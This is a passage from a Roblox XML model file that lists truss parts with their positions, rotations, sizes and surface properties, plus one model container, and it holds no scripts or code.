					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX155">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX156">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>33.8000031</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX157">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX158">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>5.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX159">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-168</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX160">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX161">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-188</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX162">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-188</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX163">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-168</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX164">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX165">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-188</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX166">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-188</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX167">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="TrussPart" referent="RBX168">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-98</X>
						<Y>39.2000008</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX169">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-82</X>
						<Y>39</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX170">
